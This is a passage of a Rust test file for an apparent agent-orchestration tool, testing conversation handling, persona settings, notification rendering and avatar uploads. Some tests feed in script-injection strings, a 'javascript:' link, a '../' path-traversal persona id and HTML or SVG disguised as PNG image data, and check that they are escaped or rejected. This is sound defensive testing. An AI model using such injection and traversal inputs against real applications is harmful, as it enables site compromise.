12154 #[tokio::test]
12155 async fn repos_list_returns_name_and_path_for_every_configured_root() {
12156 let tmp = TempDir::new().expect("tempdir");
12157 let repo = tmp.path().join("repo");
12158 std::fs::create_dir_all(&repo).expect("repo dir");
12159 let root = tmp.path().join("root");
12160 make_checkout(&root, "github.com", "yukimemi", "magi");
12161 std::fs::write(
12162 repo.join("magi.toml"),
12163 format!(
12164 "[repos]\nroots = [{:?}]\n",
12165 root.to_string_lossy().into_owned()
12166 ),
12167 )
12168 .expect("write magi.toml");
12169
12170 let f = Fixture::with_repo(repo).await;
12171 let res = f.get("/api/repos").await;
12172 assert_eq!(res.status, 200, "{}", res.body);
12173 let list = res.json();
12174 let repos = list.as_array().expect("an array");
12175 assert_eq!(repos.len(), 1);
12176 assert_eq!(repos[0]["name"], "yukimemi/magi");
12177 assert!(
12178 repos[0]["path"]
12179 .as_str()
12180 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
12181 "{list}"
12182 );
12183 }
12184
12185 #[tokio::test]
12186 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
12187 let tmp = TempDir::new().expect("tempdir");
12188 let repo = tmp.path().join("repo");
12189 std::fs::create_dir_all(&repo).expect("repo dir");
12190 let root = tmp.path().join("root");
12191 make_checkout(&root, "github.com", "yukimemi", "magi");
12192 std::fs::write(
12193 repo.join("magi.toml"),
12194 format!(
12195 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
12196 root.to_string_lossy().into_owned()
12197 ),
12198 )
12199 .expect("write magi.toml");
12200
12201 let f = Fixture::with_repo(repo).await;
12202 let first = f.get("/api/repos").await;
12203 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
12204
12205 make_checkout(&root, "github.com", "yukimemi", "rvpm");
12208 let second = f.get("/api/repos").await;
12209 assert_eq!(
12210 second.json().as_array().map(Vec::len),
12211 Some(1),
12212 "a fresh cache must not rescan inside the TTL"
12213 );
12214
12215 let refreshed = f.get("/api/repos?refresh=1").await;
12216 assert_eq!(
12217 refreshed.json().as_array().map(Vec::len),
12218 Some(2),
12219 "an explicit refresh must rescan even inside the TTL"
12220 );
12221 }
12222
12223 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
12229
12230 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
12234 let tmp = TempDir::new().expect("tempdir");
12235 let repo = tmp.path().join("repo");
12236 std::fs::create_dir_all(&repo).expect("repo dir");
12237 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12238 let f = Fixture::with_repo(repo.clone()).await;
12239 (tmp, repo, f)
12240 }
12241
12242 #[tokio::test]
12243 async fn posting_a_talk_with_remembered_choices_is_soft() {
12244 let (_tmp, _repo, f) = talk_fixture().await;
12245
12246 let good = f
12247 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
12248 .await;
12249 assert_eq!(good.status, 201, "{}", good.body);
12250 assert_eq!(good.json()["persona"], "rei");
12251
12252 let stale = f
12254 .post(
12255 "/api/talks",
12256 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
12257 )
12258 .await;
12259 assert_eq!(stale.status, 201, "{}", stale.body);
12260 let v = stale.json();
12261 assert_eq!(v["implementers"], 1);
12262 assert_ne!(v["persona"], "nobody");
12263 let typed = f
12264 .post(
12265 "/api/talks",
12266 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
12267 )
12268 .await;
12269 assert_eq!(typed.status, 201, "{}", typed.body);
12270
12271 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
12273 assert!(
12274 !strict.status.to_string().starts_with('2'),
12275 "{}",
12276 strict.body
12277 );
12278 }
12279
12280 #[tokio::test]
12281 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
12282 let (_tmp, _repo, f) = talk_fixture().await;
12283
12284 let opened = f.post("/api/talks", None).await;
12287 assert_eq!(opened.status, 201, "{}", opened.body);
12288 let body = opened.json();
12289 assert_eq!(body["status"], "open");
12290 assert_eq!(
12291 body["turns"].as_array().unwrap().len(),
12292 0,
12293 "opening takes no agent turn: there is nothing yet to answer"
12294 );
12295
12296 let also_opened = f.post("/api/talks", Some("{}")).await;
12298 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12299
12300 let listed = f.get("/api/talks").await.json();
12301 assert_eq!(listed.as_array().unwrap().len(), 2);
12302 }
12303
12304 #[tokio::test]
12305 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12306 let tmp = TempDir::new().expect("tempdir");
12307 let repo = tmp.path().join("repo");
12308 std::fs::create_dir_all(&repo).expect("repo dir");
12309 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12310 std::fs::write(
12311 repo.join("magi.toml"),
12312 format!("{MOCK_AGENT_TOML}\n{second}"),
12313 )
12314 .expect("write magi.toml");
12315 let home = TempDir::new().expect("temp home");
12316 let talks = Talks::at(home.path().join("talks"));
12317 let ui = Arc::new(
12318 Ui::new(
12319 Queue::at(home.path().join("queue")),
12320 Questions::at(home.path().join("questions")),
12321 talks.clone(),
12322 home.path().join("runs"),
12323 home.path().to_path_buf(),
12324 repo.clone(),
12325 )
12326 .with_worktrees_root(home.path().join("wt")),
12327 );
12328 let cfg = config_for(&repo).await.expect("discover config");
12329 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12330 let id = talk.id.clone();
12331 let call = |agent: &str| {
12332 talk_agent(
12333 State(Arc::clone(&ui)),
12334 Path(id.clone()),
12335 Json(TalkAgent {
12336 agent: agent.to_owned(),
12337 }),
12338 )
12339 };
12340
12341 let unknown = call("nobody").await.expect_err("unknown agent");
12342 assert_eq!(
12343 unknown.status,
12344 StatusCode::BAD_REQUEST,
12345 "{}",
12346 unknown.message
12347 );
12348
12349 {
12350 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12353 let busy = call("second").await.expect_err("busy talk");
12354 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12355 assert!(
12356 busy.message.contains("a talk turn is running"),
12357 "{}",
12358 busy.message
12359 );
12360 drop(guard);
12361 }
12362 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12363
12364 let Json(view) = call("second").await.expect("switch");
12365 assert_eq!(view.talk.agent, "second");
12366 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12367 let saved = talks.get(&id).expect("reload");
12368 assert_eq!(saved.agent, "second");
12369 assert_eq!(saved.turns.len(), 1);
12370 assert!(!view.thinking);
12371 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12372 for agent in ["mock", "second"] {
12373 let Json(view) = call(agent).await.expect("immediate consecutive change");
12374 assert_eq!(view.talk.agent, agent);
12375 assert!(!view.thinking);
12376 assert!(!ui.is_thinking(&id));
12377 }
12378
12379 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12380 .await
12381 .expect("detail");
12382 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12383 assert_eq!(roster, ["mock", "second"]);
12384
12385 let mut closed = talks.get(&id).expect("reload");
12386 talk::close(&mut closed, &talks).expect("close");
12387 let refused = call("mock").await.expect_err("closed talk");
12388 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12389 assert!(
12390 refused.message.contains("takes no more turns"),
12391 "{}",
12392 refused.message
12393 );
12394 }
12395
12396 #[tokio::test]
12397 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12398 let tmp = TempDir::new().expect("tempdir");
12399 let repo = tmp.path().join("repo");
12400 std::fs::create_dir_all(&repo).expect("repo dir");
12401 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12402 let home = TempDir::new().expect("temp home");
12403 let talks = Talks::at(home.path().join("talks"));
12404 let ui = Arc::new(
12405 Ui::new(
12406 Queue::at(home.path().join("queue")),
12407 Questions::at(home.path().join("questions")),
12408 talks.clone(),
12409 home.path().join("runs"),
12410 home.path().to_path_buf(),
12411 repo.clone(),
12412 )
12413 .with_worktrees_root(home.path().join("wt")),
12414 );
12415 let cfg = config_for(&repo).await.expect("discover config");
12416 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12417 let id = talk.id.clone();
12418 let call = |n: u8| {
12419 talk_implementers(
12420 State(Arc::clone(&ui)),
12421 Path(id.clone()),
12422 Json(TalkImplementers { implementers: n }),
12423 )
12424 };
12425
12426 for bad in [0u8, 4] {
12427 let e = call(bad).await.expect_err("out of range");
12428 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12429 }
12430 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12431
12432 {
12433 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12436 let busy = call(2).await.expect_err("busy talk");
12437 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12438 assert!(
12439 busy.message.contains("a talk turn is running"),
12440 "{}",
12441 busy.message
12442 );
12443 drop(guard);
12444 }
12445
12446 let Json(view) = call(3).await.expect("switch");
12447 assert_eq!(view.talk.implementers, 3);
12448 assert!(talks.get(&id).expect("reload").implementers_dirty);
12449 assert!(!view.thinking);
12450 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12451 for n in [1, 2, 3] {
12452 let Json(view) = call(n).await.expect("immediate consecutive change");
12453 assert_eq!(view.talk.implementers, n);
12454 assert!(!view.thinking);
12455 assert!(!ui.is_thinking(&id));
12456 }
12457
12458 let mut closed = talks.get(&id).expect("reload");
12459 talk::close(&mut closed, &talks).expect("close");
12460 let e = call(2).await.expect_err("closed talk");
12461 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12462 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12463 }
12464
12465 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12467 let tmp = TempDir::new().expect("tempdir");
12468 let repo = tmp.path().join("repo");
12469 std::fs::create_dir_all(&repo).expect("repo dir");
12470 std::fs::write(
12471 repo.join("magi.toml"),
12472 format!("{MOCK_AGENT_TOML}\n{extra}"),
12473 )
12474 .expect("write magi.toml");
12475 let home = TempDir::new().expect("temp home");
12476 let talks = Talks::at(home.path().join("talks"));
12477 let ui = Arc::new(
12478 Ui::new(
12479 Queue::at(home.path().join("queue")),
12480 Questions::at(home.path().join("questions")),
12481 talks.clone(),
12482 home.path().join("runs"),
12483 home.path().to_path_buf(),
12484 repo.clone(),
12485 )
12486 .with_worktrees_root(home.path().join("wt")),
12487 );
12488 let cfg = config_for(&repo).await.expect("discover config");
12489 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12490 (tmp, home, ui, talk.id, repo)
12491 }
12492
12493 #[tokio::test]
12494 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12495 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12496 let mut conversation = ui.talks.get(&id).unwrap();
12497 talk::record(
12498 &mut conversation,
12499 &ui.talks,
12500 "# Update on a task you filed\noperator words",
12501 vec![],
12502 )
12503 .unwrap();
12504 conversation.turns[0].sender = None;
12506 conversation.turns[0].messages.clear();
12507 ui.talks.put(&mut conversation).unwrap();
12508 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12509 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12510 talk::drain(&mut conversation, &ui.talks).unwrap();
12511 talk::record_reply(
12512 &mut conversation,
12513 &ui.talks,
12514 "about that report",
12515 vec![],
12516 Some(talk::ReplyTarget {
12517 turn: 1,
12518 message: 1,
12519 }),
12520 )
12521 .unwrap();
12522 conversation.turns[2].messages[0]
12523 .reply
12524 .as_mut()
12525 .unwrap()
12526 .sender = None;
12527 conversation.turns.push(talk::Turn {
12528 sender: Some(talk::Sender::Persona),
12529 who: talk::Who::Agent,
12530 body: "magi: actual persona words".into(),
12531 at: Timestamp::now(),
12532 attachments: vec![],
12533 usage: None,
12534 breaks: None,
12535 messages: vec![],
12536 posted_by: None,
12537 });
12538 ui.talks.put(&mut conversation).unwrap();
12539 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12540 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12541 assert_eq!(
12542 view.talk.turns[1].messages[0].sender,
12543 Some(talk::Sender::Operator)
12544 );
12545 assert_eq!(
12546 view.talk.turns[1].messages[1].sender,
12547 Some(talk::Sender::Magi)
12548 );
12549 assert_eq!(
12550 view.talk.turns[2].messages[0]
12551 .reply
12552 .as_ref()
12553 .unwrap()
12554 .sender,
12555 Some(talk::Sender::Magi)
12556 );
12557 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12558 assert_eq!(view.turn_messages_md[0].len(), 1);
12559 assert!(view.turn_messages_md[0][0].is_none());
12560 assert!(view.turn_messages_md[1][0].is_none());
12561 assert!(view.turn_messages_md[1][1].is_some());
12562 }
12563
12564 #[tokio::test]
12565 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12566 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12567 let mut conversation = ui.talks.get(&id).unwrap();
12568 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12569 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12570 talk::queue_notice(
12571 &mut conversation,
12572 &ui.talks,
12573 &body,
12574 "watch:123",
12575 &|_| false,
12576 None,
12577 display.clone(),
12578 )
12579 .unwrap();
12580 assert!(
12581 !talk::queue_notice(
12582 &mut conversation,
12583 &ui.talks,
12584 &body,
12585 "watch:123",
12586 &|_| false,
12587 None,
12588 display.clone()
12589 )
12590 .unwrap()
12591 );
12592 let saved = ui.talks.get(&id).unwrap();
12593 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12594 let view = TalkView::with_config(saved, false, None, &ui.home);
12595 assert!(
12596 view.talk.turns[0].messages[0].display.is_none(),
12597 "operator copy stays literal"
12598 );
12599 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12600 assert!(view.turn_messages_md[0][0].is_none());
12601 let queued_md = view.pending_messages_md[0].clone();
12602 assert_eq!(
12603 queued_md,
12604 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12605 );
12606 talk::drain(&mut conversation, &ui.talks).unwrap();
12607 talk::record_reply(
12608 &mut conversation,
12609 &ui.talks,
12610 "Explain",
12611 vec![],
12612 Some(talk::ReplyTarget {
12613 turn: 1,
12614 message: 0,
12615 }),
12616 )
12617 .unwrap();
12618 let mut saved = ui.talks.get(&id).unwrap();
12619 assert_eq!(saved.turns[1].messages[0].body, body);
12620 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12621 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12622 assert!(!reply.excerpt.contains("automatic report"));
12623 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12626 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12627 assert_eq!(view.turn_messages_md[1][0], queued_md);
12628 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12629 assert!(
12630 !view.talk.turns[2].messages[0]
12631 .reply
12632 .as_ref()
12633 .unwrap()
12634 .excerpt
12635 .contains("automatic report")
12636 );
12637 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12638 }
12639
12640 #[tokio::test]
12641 async fn consultation_display_hides_directives_in_queue_and_history() {
12642 for node in [
12643 "implement",
12644 crate::land::APPROVAL_NODE,
12645 crate::github_text::ASK_NODE,
12646 ] {
12647 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12648 let mut question = Question::new(
12649 "run-123".into(),
12650 node.into(),
12651 "seat-1".into(),
12652 "Which backend?".into(),
12653 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12654 vec!["SQLite".into(), "Redis".into()],
12655 );
12656 ui.questions.put(&mut question).unwrap();
12657 let body = crate::prompt::chat_consult(&question);
12658 let mut conversation = ui.talks.get(&id).unwrap();
12659 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12660 assert!(
12661 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12662 );
12663 conversation = ui.talks.get(&id).unwrap();
12664 assert_eq!(conversation.pending_messages[0].body, body);
12665 assert!(body.contains("magi answer"));
12666 let mut legacy_pending = conversation.clone();
12667 legacy_pending.pending_messages[0].display = None;
12668 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12669 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12670 assert!(legacy_md.contains("Question consultation"));
12671 assert!(!legacy_md.contains("magi answer"));
12672 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12673 assert!(
12674 view.turn_messages_md[0][0].is_none(),
12675 "operator copy stays literal"
12676 );
12677 let queued_md = view.pending_messages_md[0].clone().unwrap();
12678 let rendered = serde_json::to_string(&queued_md).unwrap();
12679 for visible in [
12680 "Which backend?",
12681 "Context",
12682 "storage",
12683 "SQLite",
12684 "Redis",
12685 "<script>literal</script>",
12686 ] {
12687 assert!(rendered.contains(visible), "missing {visible}");
12688 }
12689 for directive in [
12690 "What to do",
12691 "magi answer",
12692 "Never answer it yourself",
12693 "Do not edit the repository",
12694 ] {
12695 assert!(!rendered.contains(directive), "exposed {directive}");
12696 }
12697 assert_eq!(
12698 view.talk.pending_messages[0].display,
12699 Some(crate::prompt::chat_consult_display(&question))
12700 );
12701 talk::drain(&mut conversation, &ui.talks).unwrap();
12702 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12703 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12704 assert_eq!(conversation.turns[1].messages[0].body, body);
12705
12706 conversation.turns[1].messages[0].display = None;
12709 let view = TalkView::with_config(conversation, false, None, &ui.home);
12710 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12711 assert!(legacy.contains("Question consultation"));
12712 assert!(!legacy.contains("magi answer"));
12713 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12714 }
12715 }
12716
12717 #[test]
12718 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12719 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12720 let (body, mut display) =
12721 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12722 display.facts = facts.into();
12723 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12724 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12725 let json = serde_json::to_string(&nodes).unwrap();
12726 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12727 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12728 }
12729 assert!(json.contains("<script>alert(1)</script>"));
12730 assert!(!json.contains("javascript:"));
12731 assert!(!json.contains("Tell the operator"));
12732 assert!(!json.contains("untrusted"));
12733 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12734 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12735 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12736 assert_eq!(
12737 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12738 md::to_nodes("# Status", &md::ImageBase::None),
12739 );
12740 }
12741
12742 #[tokio::test]
12743 async fn notification_display_recovers_exact_legacy_completion_references() {
12744 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12745 let mut conversation = ui.talks.get(&id).unwrap();
12746 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12747 id: "task-123",
12748 title: "Change",
12749 status: "done",
12750 reason: None,
12751 run: Some("run-123"),
12752 pr: None,
12753 summary: Some("Merge state unknown"),
12754 });
12755 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12756 conversation.turns[0].sender = None;
12757 conversation.turns[0].messages.clear();
12758 conversation.turns[0].breaks = None;
12759 conversation.pending = body.clone();
12760 conversation
12761 .completion_notices
12762 .push(crate::chat_notify::CompletionReference {
12763 task: "task-123".into(),
12764 run: Some("run-123".into()),
12765 notice: body.clone(),
12766 });
12767 ui.talks.put(&mut conversation).unwrap();
12768 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12769 assert_eq!(
12770 view.talk.turns[0].messages[0].display,
12771 Some(display.clone())
12772 );
12773 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12774 assert_eq!(
12775 view.talk.turns[0].messages[0].sender,
12776 Some(talk::Sender::Magi)
12777 );
12778 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12779 conversation.completion_notices[0]
12780 .notice
12781 .push_str("different");
12782 let view = TalkView::with_config(conversation, false, None, &ui.home);
12783 assert!(view.talk.turns[0].messages.is_empty());
12784 assert!(view.talk.pending_messages.is_empty());
12785 }
12786
12787 #[tokio::test]
12788 async fn avatar_settings_report_states_and_inherit_after_corruption() {
12789 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12790 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
12791 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
12792 ))
12793 .await;
12794 let path = avatar_setting_path(home.path(), Some("rei"));
12795 let orphan = avatar_setting_path(home.path(), Some("removed"));
12796 save_icon_file(&orphan, icon).unwrap();
12797 for (saved, expected) in [
12798 (icon, "custom"),
12799 ("builtin", "builtin"),
12800 ("data:image/png;base64,!!!!", "inherit"),
12801 ("data:image/png;base64,PGh0bWw+", "inherit"),
12802 ("/tmp/avatar.png", "inherit"),
12803 ] {
12804 atomic_icon_write(&path, saved).unwrap();
12805 let catalog =
12806 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
12807 .await
12808 .unwrap()
12809 .0;
12810 let personas = catalog["personas"].as_array().unwrap();
12811 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
12812 assert_eq!(rei["override_state"], expected);
12813 assert_eq!(rei["has_config_icon"], true);
12814 assert_eq!(rei["is_orphan"], false);
12815 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
12816 assert_eq!(removed["override_state"], "custom");
12817 assert_eq!(removed["is_orphan"], true);
12818 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
12819 assert_eq!(default["override_state"], "inherit");
12820 assert_eq!(default["has_config_icon"], false);
12821 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
12822 assert_eq!(
12823 effective.as_deref(),
12824 Some(if expected == "builtin" { "" } else { icon })
12825 );
12826 }
12827 }
12828
12829 #[tokio::test]
12830 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
12831 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12832 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
12833 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
12834 ))
12835 .await;
12836 let target = |id: Option<&str>| AvatarSettingsQuery {
12837 persona: id.map(str::to_owned),
12838 ..Default::default()
12839 };
12840 let original_config = config_for(&repo).await.unwrap();
12841 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
12842 let original_prompt = persona::section_for(&original_persona, None);
12843 let before = talk_detail(State(ui.clone()), Path(id.clone()))
12844 .await
12845 .unwrap()
12846 .0;
12847 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
12848 let _ = avatar_settings_put(
12849 State(ui.clone()),
12850 Query(target(persona)),
12851 Json(MagiIconUpload { icon: icon.into() }),
12852 )
12853 .await
12854 .unwrap();
12855 let path = avatar_setting_path(home.path(), persona);
12856 assert!(path.starts_with(home.path().join("avatars")));
12857 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12858 for bad in [
12859 "/tmp/image.png".to_owned(),
12860 "data:image/png;base64,!!!!".to_owned(),
12861 "data:image/png;base64,PGh0bWw+".to_owned(),
12862 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12863 format!(
12864 "data:image/png;base64,{}",
12865 "A".repeat(persona_icon::ICON_MAX_BYTES)
12866 ),
12867 ] {
12868 assert!(
12869 avatar_settings_put(
12870 State(ui.clone()),
12871 Query(target(persona)),
12872 Json(MagiIconUpload { icon: bad })
12873 )
12874 .await
12875 .is_err()
12876 );
12877 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12878 }
12879 }
12880 assert!(read_magi_icon(home.path()).is_none());
12881 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
12882 let after = talk_detail(State(ui.clone()), Path(id.clone()))
12883 .await
12884 .unwrap()
12885 .0;
12886 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
12887 assert_ne!(
12888 before
12889 .personas
12890 .iter()
12891 .find(|p| p.id == "magi")
12892 .unwrap()
12893 .avatar,
12894 after
12895 .personas
12896 .iter()
12897 .find(|p| p.id == "magi")
12898 .unwrap()
12899 .avatar
12900 );
12901 let restarted = Arc::new(Ui::new(
12902 Queue::at(home.path().join("queue")),
12903 Questions::at(home.path().join("questions")),
12904 Talks::at(home.path().join("talks")),
12905 home.path().join("runs"),
12906 home.path().to_owned(),
12907 repo,
12908 ));
12909 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
12910 .await
12911 .unwrap()
12912 .0;
12913 assert!(
12914 catalog["personas"]
12915 .as_array()
12916 .unwrap()
12917 .iter()
12918 .any(|p| p["id"] == "../custom/日本語")
12919 );
12920 for expected in ["custom", "default", "rei"] {
12921 assert!(
12922 catalog["personas"]
12923 .as_array()
12924 .unwrap()
12925 .iter()
12926 .any(|p| p["id"] == expected)
12927 );
12928 }
12929 let response =
12930 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
12931 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12932 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
12933 .await
12934 .unwrap();
12935 assert_eq!(
12936 effective_persona_icon(home.path(), "rei", Some(icon)),
12937 Some(String::new())
12938 );
12939 let response = talk_avatar(
12940 State(restarted.clone()),
12941 Path(id.clone()),
12942 Query(AvatarQuery {
12943 persona: Some("rei".into()),
12944 ..Default::default()
12945 }),
12946 )
12947 .await
12948 .unwrap();
12949 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
12950 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
12951 .await
12952 .unwrap()
12953 .0;
12954 assert_ne!(
12955 after
12956 .personas
12957 .iter()
12958 .find(|p| p.id == "rei")
12959 .unwrap()
12960 .avatar,
12961 reset
12962 .personas
12963 .iter()
12964 .find(|p| p.id == "rei")
12965 .unwrap()
12966 .avatar
12967 );
12968 let mut inherit = target(Some("rei"));
12969 inherit.inherit = Some("1".into());
12970 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
12971 .await
12972 .unwrap();
12973 assert_eq!(
12974 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
12975 Some(icon)
12976 );
12977 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
12978 .await
12979 .unwrap();
12980 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
12981 assert_eq!(
12982 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
12983 Some(icon)
12984 );
12985 let cfg = config_for(&ui.repo).await.unwrap();
12987 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
12988 assert_eq!(persona::section_for(&resolved, None), original_prompt);
12989 assert!(!original_prompt.contains("data:image"));
12990 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
12991 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
12992 assert!(!stored.contains("data:image"));
12993 let mut orphan = ui.talks.get(&id).unwrap();
12994 orphan.persona = "../custom/日本語".into();
12995 let view = TalkView::with_config(orphan, false, Some(&cfg), home.path());
12996 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
12997 }
12998
12999 #[tokio::test]
13000 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13001 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13002 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13003 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13004 let _ = magi_icon_put(
13005 State(ui.clone()),
13006 Json(MagiIconUpload { icon: icon.into() }),
13007 )
13008 .await
13009 .unwrap();
13010 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13011 assert_ne!(original, changed);
13012 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13013 let response = magi_avatar(
13014 State(ui.clone()),
13015 Query(AvatarQuery {
13016 persona: None,
13017 builtin: None,
13018 }),
13019 )
13020 .await;
13021 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13022 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13023 assert_eq!(
13024 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13025 "nosniff"
13026 );
13027 for bad in [
13028 "data:image/png;base64,PGh0bWw+".to_owned(),
13029 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
